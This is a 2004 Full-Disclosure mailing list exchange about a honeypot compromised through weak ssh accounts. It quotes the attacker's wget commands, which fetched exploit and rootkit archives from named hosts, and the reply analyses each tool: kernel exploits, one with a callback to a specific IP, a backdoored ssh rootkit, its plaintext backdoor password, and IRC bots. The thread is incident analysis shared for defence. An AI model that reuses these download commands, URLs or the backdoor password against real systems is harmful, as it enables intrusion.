Re: [Full-Disclosure] Automated ssh scanning

From: VeNoMouS (venom_at_gen-x.co.nz)
Date: 08/26/04

  • Next message: Charles Heselton: "Re: [Full-Disclosure] new email virus?"
    To: "Richard Verwayen" <holle@ackw.de>, "FD" <full-disclosure@lists.netsys.com>
    Date: Thu, 26 Aug 2004 12:59:35 +1200
    
    

    www.bo2k-rulez.net/a
     kernel do_brk exploit by isec
    http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php, this has had some
    extra payload added, which when runs goes to 207.66.155.21 on port 80
    requesting /~telecom69/gov.php which is offline, seems to also mess with
    some binarys as so is running after reboot, cant see where yet ( kinda
    confused about that one )

    www.corbeanu.as.ro/t.gz
    Ptrace/kmod kernel exploit by isec -
    http://www.k-otik.com/exploits/03.30.kernel.c.php

    http://roarmy.com/god.tgz
    root kit with backdoor'd ssh listens on port 26000 which replaces smbd
    binary, loggin of the ssh connections goes to /usr/include/iceconf.h , also
    has a crappy tcp sniffer which logs to /usr/lib/libice.log,

    ***** backdoor password for this is ice4budu

    www.generatiapro.go.ro/fast.tgz
    emech setup for undernet to join #tty , which there are a bunch of bots in
    there atm ( maybe 10 )

    anyway hope that helps

    ----- Original Message -----
    From: "Richard Verwayen" <holle@ackw.de>
    To: "FD" <full-disclosure@lists.netsys.com>
    Sent: Thursday, August 26, 2004 10:32 AM
    Subject: [Full-Disclosure] Automated ssh scanning

    > Hello list!
    >
    > A few weeks ago there was a discussion about automated ssh scanning with
    > user/password combinations like guest/guest or admin/admin.
    > I set up a debian woody fully patched with both accounts activated, and
    > got rooted some days later...
    >
    > The attackers installed some software and irc-bots and tried to use this
    > host for testing other computers, thats not the point. I would like to
    > know where's the weak point in the system? As the system was updates on
    > a daily base! The only known weakness were these two accounts!
    >
    > Here is a list of software the attacker used, maybe someone could bring
    > a bit light into this tunnel!
    >
    > wget sky.prohosting.com/awxro/linux/xpl.tar.gz
    > wget www.bo2k-rulez.net/a
    > wget www.bo2k-rulez.net/psybnc.tgz
    > wget www.corbeanu.as.ro/t.gz
    > wget roarmy.com/god.tgz
    > wget www.generatiapro.go.ro/fast.tgz
    >
    >
    > Richard
    >
    > _______________________________________________
    > Full-Disclosure - We believe in it.
    > Charter: http://lists.netsys.com/full-disclosure-charter.html
    >

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: Charles Heselton: "Re: [Full-Disclosure] new email virus?"

    Relevant Pages